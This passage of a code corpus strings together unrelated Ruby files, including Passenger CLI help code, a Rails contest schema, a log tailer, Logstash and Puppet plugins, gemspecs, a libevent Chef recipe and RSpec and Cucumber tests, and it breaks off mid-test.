#{PROGRAM_NAME} instances" puts " about Show information about #{PROGRAM_NAME}" puts puts "#{PROGRAM_NAME} installation management:" puts " validate-install Validate this #{PROGRAM_NAME} installation" puts " build-native-support Ensure that the native_support library for the current" puts " Ruby interpreter is built" puts " install-agent Install the #{PROGRAM_NAME} agent binary" puts " install-standalone-runtime" puts " Install the #{PROGRAM_NAME} Standalone" puts " runtime" if all puts " download-agent Download the #{PROGRAM_NAME} agent binary" puts " download-nginx-engine Download the Nginx engine for use with" puts " #{PROGRAM_NAME} Standalone" puts " compile-agent Compile the #{PROGRAM_NAME} agent binary" puts " compile-nginx-engine Compile an Nginx engine for use with #{PROGRAM_NAME}" puts " Standalone" end puts puts "Miscellaneous commands:" puts " system-metrics Display system metrics" puts " system-properties Display system properties" puts puts "Run 'passenger-config <COMMAND> --help' for more information about each" puts "command." if !all puts puts "There are also some advanced commands not shown in this help message. Run" puts "'passenger-config --help-all' to learn more about them." end end private def self.help_requested?(argv) return argv.size == 1 && (argv[0] == "--help" || argv[0] == "-h" || argv[0] == "help") end def self.help_all_requested?(argv) return argv.size == 1 && (argv[0] == "--help-all" || argv[0] == "help-all") end def self.lookup_command_class_by_argv(argv) return nil if argv.empty? # Compatibility with version <= 4.0.29: try to pass all # --switch invocations to AboutCommand. if argv[0] =~ /^--/ name = argv[0].sub(/^--/, '') if ABOUT_OPTIONS.include?(name) command_class = lookup_command_class_by_class_name("AboutCommand") return [command_class, argv] else return nil end end # Convert "passenger-config help <COMMAND>" to "passenger-config <COMMAND> --help". if argv.size == 2 && argv[0] == "help" argv = [argv[1], "--help"] end KNOWN_COMMANDS.each do |props| if argv[0] == props[0] command_class = lookup_command_class_by_class_name(props[1]) new_argv = argv[1 .. -1] return [command_class, new_argv] end end return nil end def self.lookup_command_class_by_class_name(class_name) base_name = class_name.gsub(/[A-Z]/) do |match| "_" + match[0..0].downcase end base_name.sub!(/^_/, '') base_name << ".rb" PhusionPassenger.require_passenger_lib("config/#{base_name}") return PhusionPassenger::Config.const_get(class_name) end end end # module PhusionPassenger
37.908108
92
0.630971
79a6bbf8292a4bf39043ed913840a8898557f2fd
835
Puppet::Functions.create_function(:is_numeric) do dispatch :deprecation_gen do param 'Any', :scope repeated_param 'Any', :args end # Workaround PUP-4438 (fixed: https://github.com/puppetlabs/puppet/commit/e01c4dc924cd963ff6630008a5200fc6a2023b08#diff # -c937cc584953271bb3d3b3c2cb141790R221) to support puppet < 4.1.0 and puppet < 3.8.1. def call(scope, *args) manipulated_args = [scope] + args self.class.dispatcher.dispatch(self, scope, manipulated_args) end def deprecation_gen(scope, *args) call_function('deprecation', 'is_numeric', 'This method is deprecated, please use match expressions with Stdlib::Compat::Numeric instead. They are described at https://docs.puppet.com/puppet/latest/reference/lang_data_type.html#match-expressions.') scope.send('function_is_numeric', args) end end
46.388889
252
0.760479
7ac69f4870837a5264e14bf720183a1bec384438
7,549
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # This file is the source Rails uses to define your schema when running `rails # db:schema:load`. When creating a new database, `rails db:schema:load` tends to # be faster and is potentially less error prone than running all of your # migrations from scratch. Old migrations may fail to apply correctly if those # migrations use external dependencies or application code. # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 2020_09_11_011239) do create_table "benchmark_executions", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false end create_table "benchmark_jobs", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "team_id", null: false t.integer "status", default: 0, null: false t.string "instance_name" t.string "handle" t.datetime "started_at", precision: 6 t.datetime "finished_at", precision: 6 t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.integer "target_id" t.index ["instance_name", "id"], name: "index_benchmark_jobs_on_instance_name_and_id" t.index ["status", "team_id", "id"], name: "index_benchmark_jobs_on_status_and_team_id_and_id" t.index ["team_id", "id"], name: "index_benchmark_jobs_on_team_id_and_id" end create_table "benchmark_results", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "team_id", null: false t.integer "benchmark_job_id", null: false t.integer "score", default: 0, null: false t.integer "score_raw", default: 0, null: false t.integer "score_deduction", default: 0, null: false t.boolean "finished", null: false t.boolean "passed" t.datetime "marked_at", precision: 6, null: false t.text "reason" t.text "stdout" t.text "stderr" t.integer "exit_status" t.integer "exit_signal" t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["benchmark_job_id"], name: "index_benchmark_results_on_benchmark_job_id", unique: true t.index ["finished", "exit_status", "exit_signal", "marked_at", "team_id"], name: "idx_leaderboard" t.index ["team_id"], name: "index_benchmark_results_on_team_id" t.index ["updated_at"], name: "index_benchmark_results_on_updated_at" end create_table "clarifications", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "team_id" t.boolean "disclosed" t.text "question" t.text "answer" t.text "original_question" t.datetime "answered_at", precision: 6 t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.boolean "admin", default: false, null: false t.index ["disclosed", "created_at"], name: "index_clarifications_on_disclosed_and_created_at" t.index ["team_id", "created_at"], name: "index_clarifications_on_team_id_and_created_at" end create_table "contestant_instances", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "team_id", null: false t.string "cloud_id", null: false t.integer "number", null: false t.integer "status", null: false t.string "private_ipv4_address", null: false t.string "public_ipv4_address" t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["cloud_id"], name: "index_contestant_instances_on_cloud_id" t.index ["private_ipv4_address"], name: "index_contestant_instances_on_private_ipv4_address" t.index ["status"], name: "index_contestant_instances_on_status" t.index ["team_id", "number"], name: "index_contestant_instances_on_team_id_and_number" end create_table "contestants", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "team_id", null: false t.string "name", null: false t.string "github_login", null: false t.string "discord_id", null: false t.string "avatar_url", null: false t.boolean "student", default: false, null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.string "github_id", null: false t.string "discord_tag", null: false t.index ["discord_id"], name: "index_contestants_on_discord_id", unique: true t.index ["github_id"], name: "index_contestants_on_github_id", unique: true t.index ["team_id"], name: "index_contestants_on_team_id" end create_table "notifications", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "contestant_id", null: false t.boolean "read", default: false, null: false t.text "encoded_message", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["contestant_id", "id"], name: "index_notifications_on_contestant_id_and_id" t.index ["contestant_id", "read", "id"], name: "index_notifications_on_contestant_id_and_read_and_id" end create_table "push_subscriptions", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "contestant_id", null: false t.string "endpoint", null: false t.string "p256dh", null: false t.string "auth", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["contestant_id", "endpoint"], name: "index_push_subscriptions_on_contestant_id_and_endpoint" end create_table "ssh_public_keys", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "contestant_id", null: false t.text "public_key", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["contestant_id"], name: "index_ssh_public_keys_on_contestant_id" end create_table "survey_responses", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.integer "team_id" t.integer "benchmark_job_id" t.string "language" t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["benchmark_job_id"], name: "index_survey_responses_on_benchmark_job_id" t.index ["team_id"], name: "index_survey_responses_on_team_id" end create_table "teams", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8mb4", force: :cascade do |t| t.string "name", null: false t.integer "leader_id" t.boolean "is_hidden", default: false, null: false t.boolean "final_participation", default: false, null: false t.string "email_address", null: false t.string "invite_token", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.boolean "withdrawn", default: false, null: false t.boolean "disqualified", default: false, null: false t.boolean "student", null: false t.index ["withdrawn", "disqualified", "final_participation"], name: "idx_active_final" end end
48.391026
111
0.72195
1c81ddcfba832da19bc90722ccfb6d8b8396a785
4,485
class Typhon class Heads # these methods are here to help the DSL have somewhere to # store instances of the heads and some utilities to manage # them. This is effectively a global named scope that just # holds blocks of codes class << self def register_head(name, files, head) @heads ||= {} [files].flatten.each do |file| @heads[file] ||= {} raise "Already have a head called #{name} for file #{file}" if @heads[file].include?(name) headklass = Head.new headklass.define_singleton_method(:call, head) @heads[file][name] = headklass Log.debug("Registered a new head: #{name} for file #{file}") end end def clear! Log.debug("Clearing previously loaded heads") @heads = {} end def heads @heads || {} end def files @heads.keys end end def initialize @dir = File.join(Config.configdir, "heads") @tails = {} @linecount = 0 @starttime = Time.now end def log_stats uptime = seconds_to_human((Time.now - @starttime).to_i) Log.info("Up for #{uptime} read #{@linecount} lines") end # Handles a line of text from a log file by finding the # heads associated with that file and calling them all def feed(file, pos, text) return unless Heads.heads.include?(file) Heads.heads[file].each_pair do |name, head| begin head.call(file, pos, text) @linecount += 1 rescue Exception => e Log.error("Failed to handle line from #{file}##{pos} with head #{name}: #{e.class}: #{e}") end end end # Loads/Reload all the heads from disk, a trigger file is used that # the user can touch the trigger and it will initiate a complete reload def loadheads if File.exist?(triggerfile) triggerage = File::Stat.new(triggerfile).mtime.to_f else triggerage = 0 end @loaded ||= 0 if (@loaded < triggerage) || @loaded == 0 Heads.clear! headfiles.each do |head| loadhead(head) end end starttails @loaded = Time.now.to_f end # Start EM tailers for each known file. If a file has become orphaned # by all its heads being removed then close the tail def starttails # for all the files that have interested heads start tailers Typhon.files.each do |file| unless @tails.include?(file) Log.debug("Starting a new tailer for #{file}") @tails[file] = EventMachine::file_tail(file) do |ft, line| self.feed(ft.path, ft.position, line) end end end # for all the tailers make sure there are files, else close the tailer @tails.keys.each do |file| unless Typhon.files.include?(file) Log.debug("Closing tailer for #{file} there are no heads attached") begin @tails[file].close rescue end end end end def loadhead(head) Log.debug("Loading head #{head}") load head rescue Exception => e Log.error "Failed to load #{head}: #{e.class}: #{e}" Log.error e.backtrace if STDOUT.tty? puts "Failed to load #{head}: #{e.class}: #{e}" p e.backtrace end end def headfiles if File.directory?(@dir) Dir.entries(@dir).grep(/head.rb$/).map do |f| File.join([@dir, f]) end else raise "#{@dir} is not a directory" end end def triggerfile File.join([@dir, "reload.txt"]) end # borrowed from ohai, thanks Adam. def seconds_to_human(seconds) days = seconds.to_i / 86400 seconds -= 86400 * days hours = seconds.to_i / 3600 seconds -= 3600 * hours minutes = seconds.to_i / 60 seconds -= 60 * minutes if days > 1 return sprintf("%d days %02d hours %02d minutes %02d seconds", days, hours, minutes, seconds) elsif days == 1 return sprintf("%d day %02d hours %02d minutes %02d seconds", days, hours, minutes, seconds) elsif hours > 0 return sprintf("%d hours %02d minutes %02d seconds", hours, minutes, seconds) elsif minutes > 0 return sprintf("%d minutes %02d seconds", minutes, seconds) else return sprintf("%02d seconds", seconds) end end end end
26.538462
101
0.57971
01d5d895d31f1b222b66a5875ce6d7597749c408
460
class Twing module Modules class CustomLogger attr_reader :logger def initialize(logger, prefix) @logger = logger @prefix = prefix end [:fatal, :error, :warn, :info, :debug].each do |method| define_method method do |message| @logger.send(method, @prefix) { message } end end def method_missing(method, *args) @logger.send(method, *args) end end end end
20
61
0.578261
e9ff0c5f525300a0826ce5168b0c399d37b43a86
137
# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_zappa_session'
34.25
75
0.80292
abde382c4f2f5056102619666a373f48d6ea2969
1,330
# frozen_string_literal: true # Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Auto-generated by gapic-generator-ruby. DO NOT EDIT! # [START videostitcher_v1_generated_VideoStitcherService_CreateVodSession_sync] require "google/cloud/video/stitcher/v1" # Create a client object. The client can be reused for multiple calls. client = Google::Cloud::Video::Stitcher::V1::VideoStitcherService::Client.new # Create a request. To set request fields, pass in keyword arguments. request = Google::Cloud::Video::Stitcher::V1::CreateVodSessionRequest.new # Call the create_vod_session method. result = client.create_vod_session request # The returned object is of type Google::Cloud::Video::Stitcher::V1::VodSession. p result # [END videostitcher_v1_generated_VideoStitcherService_CreateVodSession_sync]
39.117647
80
0.789474
082778f63ecf51593be252536f11241c87ad8ebb
2,174
# encoding: utf-8 require "logstash/plugin_mixins/aws_config/generic" module LogStash::PluginMixins::AwsConfig::V1 def self.included(base) # Make sure we require the V1 classes when including this module. # require 'aws-sdk' will load v2 classes. require "aws-sdk-v1" base.extend(self) base.send(:include, LogStash::PluginMixins::AwsConfig::Generic) base.setup_aws_config end public def setup_aws_config # Should we require (true) or disable (false) using SSL for communicating with the AWS API # The AWS SDK for Ruby defaults to SSL so we preserve that config :use_ssl, :validate => :boolean, :default => true end public def aws_options_hash opts = {} if @access_key_id.is_a?(NilClass) ^ @secret_access_key.is_a?(NilClass) @logger.warn("Likely config error: Only one of access_key_id or secret_access_key was provided but not both.") end if @access_key_id && @secret_access_key opts = { :access_key_id => @access_key_id, :secret_access_key => @secret_access_key } opts[:session_token] = @session_token if @session_token elsif @aws_credentials_file opts = YAML.load_file(@aws_credentials_file) end opts[:proxy_uri] = @proxy_uri if @proxy_uri opts[:use_ssl] = @use_ssl # The AWS SDK for Ruby doesn't know how to make an endpoint hostname from a region # for example us-west-1 -> foosvc.us-west-1.amazonaws.com # So our plugins need to know how to generate their endpoints from a region # Furthermore, they need to know the symbol required to set that value in the AWS SDK # Classes using this module must implement aws_service_endpoint(region:string) # which must return a hash with one key, the aws sdk for ruby config symbol of the service # endpoint, which has a string value of the service endpoint hostname # for example, CloudWatch, { :cloud_watch_endpoint => "monitoring.#{region}.amazonaws.com" } # For a list, see https://github.com/aws/aws-sdk-ruby/blob/master/lib/aws/core/configuration.rb opts.merge!(self.aws_service_endpoint(@region)) return opts end # def aws_options_hash end
38.140351
116
0.715271
1c500bd7c35cf3ab713246b786019c8ab8e89816
221
require "headline_sources/scraper" require "headline_sources/fetchers/gawker_fetcher" module HeadlineSources class DefamerFetcher < RSSFetcher def feed_url "http://defamer.gawker.com/rss" end end end
17
50
0.760181
d58978df255755c42f9a324fc93a635b1c25fc52
1,270
# frozen_string_literal: true require 'telegram/core_ext' module Telegram module API module Bot module Methods # See the {https://core.telegram.org/bots/api#getuserprofilephotos official documentation}. # # @!attribute [rw] user_id # @return [Integer] # @!attribute [rw] offset # @return [Integer, nil] # @!attribute [rw] limit # @return [Integer, nil] GetUserProfilePhotos = Struct.new( :user_id, :offset, :limit ) do include Telegram::CoreExt::Struct def initialize( user_id:, offset: nil, limit: nil ) super( user_id&.to_i, (offset&.to_i unless offset.nil?), (limit&.to_i unless limit.nil?) ) end def call(client:, token:) Types::Response.new( result_caster: ->(r) { Types::UserProfilePhotos.new(**r.to_h) }, **client.post( url: Telegram::API::Bot.build_url(token: token, method: 'getUserProfilePhotos'), parameters: self.to_h ) ) end end end end end end
25.4
99
0.496063
f7f970e657f2cb277ed573894605981360693c26
1,227
Gem::Specification.new do |s| s.name = 'logstash-filter-publicsuffix' s.version = '1.0.0' s.licenses = ['Apache License (2.0)'] s.summary = "Parses a domain name using Mozilla's Public Suffix List." s.description = "This gem is a logstash plugin required to be installed on top of the Logstash core pipeline using $LS_HOME/bin plugin install gemname. This gem is not a stand-alone program." s.authors = ["Michael Pellon"] s.email = '[email protected]' s.homepage = 'https://github.com/mpellon/logstash-filter-publicsuffix' s.require_paths = ['lib'] # Files s.files = Dir['lib/**/*','spec/**/*','vendor/**/*','*.gemspec','*.md','CONTRIBUTORS','Gemfile','LICENSE','NOTICE.TXT'] # Tests s.test_files = s.files.grep(%r{^(test|spec|features)/}) # Special flag to let us know this is actually a logstash plugin s.metadata = { "logstash_plugin" => "true", "logstash_group" => "filter" } # Gem dependencies s.add_runtime_dependency "logstash-core", "~> 2.0.0.snapshot" s.add_runtime_dependency 'public_suffix', '~> 1.5.1' s.add_runtime_dependency 'lru_redux', '~> 1.1.0' s.add_development_dependency 'logstash-devutils' end
42.310345
197
0.649552
1a20f8e7c2a2d7551b6af437501a45ad9a710f77
1,531
# # Cookbook Name:: libevent # Recipe:: default # # Copyright 2012, Takeshi KOMIYA # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # version = node['libevent']['version'] prefix = node['libevent']['prefix'] remote_file "#{Chef::Config[:file_cache_path]}/libevent-#{version}-stable.tar.gz" do source "https://github.com/downloads/libevent/libevent/libevent-#{version}-stable.tar.gz" not_if {::File.exists?("#{prefix}/lib/libevent.a")} notifies :run, "script[install-libevent]", :immediately end script "install-libevent" do interpreter "bash" only_if {::File.exists?("#{Chef::Config[:file_cache_path]}/libevent-#{version}-stable.tar.gz")} flags "-e -x" code <<-EOH cd /usr/local/src tar xzf #{Chef::Config[:file_cache_path]}/libevent-#{version}-stable.tar.gz cd libevent-#{version}-stable ./configure --prefix=#{prefix} --with-pic make make install EOH end file "libevent-tarball-cleanup" do path "#{Chef::Config[:file_cache_path]}/libevent-#{version}-stable.tar.gz" action :delete end
32.574468
97
0.718485
e2e924e43bb83eee51b4633cd3730657132f54e0
97
class Tag < ActiveRecord::Base validates_presence_of :name validates_uniqueness_of :name end
19.4
31
0.814433
03374043a472ec7144043a0428049ff11fbd6715
791
require 'test_helper' class TaxJp::GengouTest < ActiveSupport::TestCase def test_令和 assert_equal '令和元年05月01日', TaxJp::Gengou.to_wareki('2019-05-01') assert_equal '01年05月01日', TaxJp::Gengou.to_wareki('2019-05-01', only_date: true) assert_equal '2019-05-01', TaxJp::Gengou.to_seireki('令和', Date.new(1, 5, 1)).strftime('%Y-%m-%d') end def test_平成 assert_equal '平成元年01月08日', TaxJp::Gengou.to_wareki('1989-01-08') assert_equal '01年01月08日', TaxJp::Gengou.to_wareki('1989-01-08', only_date: true) assert_equal '平成31年04月30日', TaxJp::Gengou.to_wareki('2019-04-30') assert_equal '31年04月30日', TaxJp::Gengou.to_wareki('2019-04-30', only_date: true) assert_equal '2019-04-30', TaxJp::Gengou.to_seireki('平成', Date.new(31, 4, 30)).strftime('%Y-%m-%d') end end
35.954545
103
0.701643
bb312cdbe78eed55e8d4ce47ad72ed46fa8da7ef
130
require 'rails_helper' RSpec.describe SlackMessage, type: :model do pending "add some examples to (or delete) #{__FILE__}" end
21.666667
56
0.753846
5dee7041ed4f08f9a92f2cf5dd13d15da0e62d08
1,446
Given(/^hew is installed$/) do steps %Q{ Given I run `gem install rails --no-ri --no-rdoc` And I run `rails new . --skip-spring --skip-sprockets` And I append to "Gemfile" with "gem 'hew', path: '../..'" And I run `bundle install` } end Given(/^hew, rspec-rails and capybara are installed$/) do steps %Q{ Given hew is installed And I append to "Gemfile" with: """ gem 'rspec-rails' gem 'capybara' """ And I run `bundle install` And I run `rails generate rspec:install` } end Given(/^hew, rspec-rails, capybara and factory_girl_rails are installed$/) do steps %Q{ Given hew, rspec-rails and capybara are installed And I append to "Gemfile" with: """ gem 'factory_girl_rails' """ And I run `bundle install` And I write to "spec/support/factory_girl.rb" with: """ RSpec.configure do |config| config.include FactoryGirl::Syntax::Methods end """ And I append to "spec/rails_helper.rb" with: """ Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f } """ } end Given(/^hew, rspec-rails, capybara and fabrication are installed$/) do steps %Q{ Given hew, rspec-rails and capybara are installed And I append to "Gemfile" with: """ gem 'fabrication' """ And I run `bundle install` } end
25.368421
77
0.580221
5d13c38af45bf12f2cfcb462776621b4bff02b72
2,958
require 'rails_helper' module CCMS module Parsers RSpec.describe ApplicantAddResponseParser, :ccms do let(:expected_tx_id) { '20190301030405123456' } context 'successful response' do describe '#success?' do let(:response_xml) { ccms_data_from_file 'applicant_add_response_success.xml' } it 'extracts the status' do parser = described_class.new(expected_tx_id, response_xml) expect(parser.success?).to eq true end it 'raises if the transaction_request_ids dont match' do expect { parser = described_class.new(Faker::Number.number(digits: 20), response_xml) parser.success? }.to raise_error CCMS::CCMSError, "Invalid transaction request id #{expected_tx_id}" end describe '#success' do it 'returns true' do parser = described_class.new(expected_tx_id, response_xml) parser.success? expect(parser.success).to be true end end describe '#message' do it 'returns the status plus any status text' do parser = described_class.new(expected_tx_id, response_xml) parser.success? expect(parser.message).to eq 'Success: ' end end end end context 'unsuccessful response' do let(:response_xml) { ccms_data_from_file 'applicant_add_response_failure.xml' } subject { described_class.new(expected_tx_id, response_xml) } describe '#success?' do it 'is false' do expect(subject.success?).to be false end end describe '#success' do it 'is false' do subject.success? expect(subject.success).to be false end end describe '#message' do it 'returns status concatenated with any free text' do subject.success? expect(subject.message).to eq 'Failed: ' end end end context 'response with no status or exception' do let(:response_xml) { ccms_data_from_file 'applicant_add_response_no_status.xml' } describe '#success?' do it 'raises' do parser = described_class.new(expected_tx_id, response_xml) expect { parser.success? }.to raise_error CCMS::CCMSError, 'Unable to find status code or exception in response' end end end context 'wrong transaction id' do let(:expected_tx_id) { '88880301030405123456' } let(:response_xml) { ccms_data_from_file 'applicant_add_response_success.xml' } it 'raises' do parser = described_class.new(expected_tx_id, response_xml) expect { parser.success? }.to raise_error CCMS::CCMSError, 'Invalid transaction request id 20190301030405123456' end end end end end
33.235955
124
0.609195
5d3c0bdbaae84d8f00740cc8d7d9a983ab3d2403
3,115
# Encoding: utf-8 # # This is auto-generated code, changes will be overwritten. # # Copyright:: Copyright 2018, Google Inc. All Rights Reserved. # License:: Licensed under the Apache License, Version 2.0. # # Code generated by AdsCommon library 1.0.1 on 2018-02-07 17:20:46. require 'ads_common/savon_service' require 'ad_manager_api/v201802/custom_targeting_service_registry' module AdManagerApi; module V201802; module CustomTargetingService class CustomTargetingService < AdsCommon::SavonService def initialize(config, endpoint) namespace = 'https://www.google.com/apis/ads/publisher/v201802' super(config, endpoint, namespace, :v201802) end def create_custom_targeting_keys(*args, &block) return execute_action('create_custom_targeting_keys', args, &block) end def create_custom_targeting_keys_to_xml(*args) return get_soap_xml('create_custom_targeting_keys', args) end def create_custom_targeting_values(*args, &block) return execute_action('create_custom_targeting_values', args, &block) end def create_custom_targeting_values_to_xml(*args) return get_soap_xml('create_custom_targeting_values', args) end def get_custom_targeting_keys_by_statement(*args, &block) return execute_action('get_custom_targeting_keys_by_statement', args, &block) end def get_custom_targeting_keys_by_statement_to_xml(*args) return get_soap_xml('get_custom_targeting_keys_by_statement', args) end def get_custom_targeting_values_by_statement(*args, &block) return execute_action('get_custom_targeting_values_by_statement', args, &block) end def get_custom_targeting_values_by_statement_to_xml(*args) return get_soap_xml('get_custom_targeting_values_by_statement', args) end def perform_custom_targeting_key_action(*args, &block) return execute_action('perform_custom_targeting_key_action', args, &block) end def perform_custom_targeting_key_action_to_xml(*args) return get_soap_xml('perform_custom_targeting_key_action', args) end def perform_custom_targeting_value_action(*args, &block) return execute_action('perform_custom_targeting_value_action', args, &block) end def perform_custom_targeting_value_action_to_xml(*args) return get_soap_xml('perform_custom_targeting_value_action', args) end def update_custom_targeting_keys(*args, &block) return execute_action('update_custom_targeting_keys', args, &block) end def update_custom_targeting_keys_to_xml(*args) return get_soap_xml('update_custom_targeting_keys', args) end def update_custom_targeting_values(*args, &block) return execute_action('update_custom_targeting_values', args, &block) end def update_custom_targeting_values_to_xml(*args) return get_soap_xml('update_custom_targeting_values', args) end private def get_service_registry() return CustomTargetingServiceRegistry end def get_module() return AdManagerApi::V201802::CustomTargetingService end end end; end; end
32.789474
85
0.765971
286d256e91b97d87b60e5f909f5c85cb7bbc2e71
1,401
# frozen_string_literal: true require 'spec_helper' module Cucumber describe Runtime do subject { Runtime.new(options) } let(:options) { {} } describe '#features_paths' do let(:options) { { paths: ['foo/bar/baz.feature', 'foo/bar/features/baz.feature', 'other_features'] } } it 'returns the value from configuration.paths' do expect(subject.features_paths).to eq options[:paths] end end describe '#doc_string' do it 'is creates an object equal to a string' do expect(subject.doc_string('Text')).to eq 'Text' end end describe '#install_wire_plugin' do it 'informs the user it is deprecated' do stub_const('Cucumber::Deprecate::STRATEGY', Cucumber::Deprecate::ForUsers) allow(STDERR).to receive(:puts) allow_any_instance_of(Configuration).to receive(:all_files_to_load).and_return(['file.wire']) begin subject.run! rescue NoMethodError # this is actually expected end expect(STDERR).to have_received(:puts).with( a_string_including([ 'WARNING: # built-in usage of the wire protocol is deprecated and will be removed after version 8.0.0.', 'See https://github.com/cucumber/cucumber-ruby/blob/main/UPGRADING.md#upgrading-to-710 for more info.' ].join(' ')) ) end end end end
30.456522
116
0.640971
0306908be5f23a833a6297bc507c8fd50a02082d
71
module Moysklad::Entities class Characteristic < Attribute end end
14.2
34
0.788732
3942ead75b8a4c738cf15d0d3c863bbee6c7e8fe
1,426
# -*- encoding: utf-8 -*- Gem::Specification.new do |s| s.name = "health-data-standards" s.summary = "A library for generating and consuming various healthcare related formats." s.description = "A library for generating and consuming various healthcare related formats. These include HITSP C32, QRDA Category I, and QRDA Category III." s.email = "[email protected]" s.homepage = "https://github.com/projectcypress/health-data-standards" s.authors = ["Andy Gregorowicz", "Sam Sayer", "Marc Hadley", "Rob Dingwell", "Andre Quina"] s.license = 'GPL-2.0' s.version = '3.6.1' s.add_dependency 'rest-client', '2.0.0' s.add_dependency 'erubis', '2.7.0' s.add_dependency 'mongoid', '4.0.0' s.add_dependency 'mongoid-tree', '1.0.4' s.add_dependency 'activesupport', '4.2.7' s.add_dependency 'protected_attributes', '1.0.9' s.add_dependency 'uuid', '2.3.8' s.add_dependency 'builder', '3.2' s.add_dependency 'nokogiri', '1.6.8' s.add_dependency 'highline', "1.7.8" s.add_dependency 'rubyzip', '1.2.0' s.add_dependency 'log4r', '1.1.10' s.add_dependency 'memoist', '0.9.3' s.files = Dir.glob('lib/**/*.rb') + Dir.glob('templates/**/*.erb') + Dir.glob('lib/**/*.json') + Dir.glob('lib/**/*.erb') + Dir.glob('lib/health-data-standards/tasks/*.rake') + ["Gemfile", "README.md", "Rakefile"] + Dir.glob('resources/schema/**/*') + Dir.glob('resources/schematron/**/*') end
43.212121
178
0.6669
1debd0f8f83c689671679642f1784f6343330366
1,647
module Supergroups class GuidanceAndRegulation < Supergroup attr_reader :content def initialize super('guidance_and_regulation') end def tagged_content(taxon_id) @content = MostPopularContent.fetch(content_id: taxon_id, filter_content_purpose_supergroup: @name) end def promoted_content(taxon_id) items = tagged_content(taxon_id).shift(promoted_content_count) format_document_data(items, "HighlightBoxClicked") end private def guide?(document) # Although answers and guides are 2 different document types, they are conceptually the same so # we should treat them the same document.content_store_document_type == 'guide' || document.content_store_document_type == 'answer' end def format_document_data(documents, data_category = "") documents.each.with_index(1).map do |document, index| data = { link: { text: document.title, path: document.base_path, data_attributes: data_attributes(document.base_path, document.title, index) }, metadata: { document_type: document.content_store_document_type.humanize } } if guide?(document) data[:link][:description] = document.description else data[:metadata][:public_updated_at] = document.public_updated_at data[:metadata][:organisations] = document.organisations end if data_category.present? data[:link][:data_attributes][:track_category] = data_module_label + data_category end data end end end end
29.410714
105
0.664845
e98425f4997cffa4e8840950108082fc7083a19e
6,418
require 'spec_helper' describe Puppet::Type.type(:cs_clone) do subject do Puppet::Type.type(:cs_clone) end it "has a 'name' parameter" do expect(subject.new(name: 'mock_clone', primitive: 'mock_primitive')[:name]).to eq('mock_clone') end describe 'basic structure' do it 'is able to create an instance' do provider_class = Puppet::Type::Cs_clone.provider(Puppet::Type::Cs_clone.providers[0]) Puppet::Type::Cs_clone.expects(:defaultprovider).returns(provider_class) expect(subject.new(name: 'mock_clone', primitive: 'mock_primitive')).not_to be_nil end [:name, :cib].each do |param| it "should have a #{param} parameter" do expect(subject).to be_validparameter(param) end it "should have documentation for its #{param} parameter" do expect(subject.paramclass(param).doc).to be_instance_of(String) end end [:primitive, :clone_max, :clone_node_max, :notify_clones, :globally_unique, :ordered, :interleave].each do |property| it "should have a #{property} property" do expect(subject).to be_validproperty(property) end it "should have documentation for its #{property} property" do expect(subject.propertybyname(property).doc).to be_instance_of(String) end end end describe 'when validating attributes' do [:notify_clones, :globally_unique, :ordered, :interleave].each do |attribute| it "should validate that the #{attribute} attribute can be true/false" do [true, false].each do |value| expect(subject.new( name: 'mock_clone', primitive: 'mock_primitive', attribute => value )[attribute]).to eq(value.to_s.to_sym) end end it "should validate that the #{attribute} attribute cannot be other values" do ['fail', 42].each do |value| expect { subject.new(name: 'mock_clone', attribute => value) }. \ to raise_error Puppet::Error, %r{(true|false)} end end end end describe 'establishing autorequires between clones and primitives' do let(:apache_primitive) { create_cs_primitive_resource('apache') } let(:apache_clone) { create_cs_clone_resource('apache') } let(:mysql_primitive) { create_cs_primitive_resource('mysql') } let(:mysql_clone) { create_cs_clone_resource('ms_mysql') } before do create_catalog(apache_primitive, apache_clone, 